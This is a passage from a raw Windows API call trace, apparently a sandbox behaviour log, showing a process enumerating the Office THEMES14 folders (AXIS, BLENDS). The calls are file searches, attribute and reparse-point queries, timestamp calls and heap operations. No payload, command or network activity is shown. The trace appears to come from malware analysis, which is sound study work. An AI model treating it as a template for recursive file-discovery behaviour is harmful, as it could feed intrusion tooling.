ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.632] GetLastError () returned 0x12 [0052.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4e68) returned 1 [0052.632] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4d60) returned 1 [0052.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.632] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0052.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.650] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0052.650] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6610 [0052.651] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6610, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6610, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6610) returned 1 [0052.651] NtClose (Handle=0x170) returned 0x0 [0052.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0052.651] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.651] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.651] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1710 [0052.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4d60 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1730 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4e68 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6c0) returned 0xef6610 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef3f88) returned 1 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1750 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef57b0 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.652] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0052.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1770 [0052.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef58b8 [0052.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.653] GetLastError () returned 0x12 [0052.653] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.653] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.653] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.653] GetLastError () returned 0x12 [0052.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0052.653] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0052.653] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.654] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0052.667] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef6cd8 [0052.667] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef6cd8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef6cd8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0052.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef6cd8) returned 1 [0052.667] NtClose (Handle=0x17c) returned 0x0 [0052.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0052.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef59c0 [0052.667] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0052.667] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.667] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.667] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.667] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ac8 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef1790 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5bd0 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef17b0 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5cd8 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef17d0 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5de0 [0052.668] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.668] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.668] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef17f0 [0052.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef5ee8 [0052.669] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.669] GetLastError () returned 0x12 [0052.669] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0052.669] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.669] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: 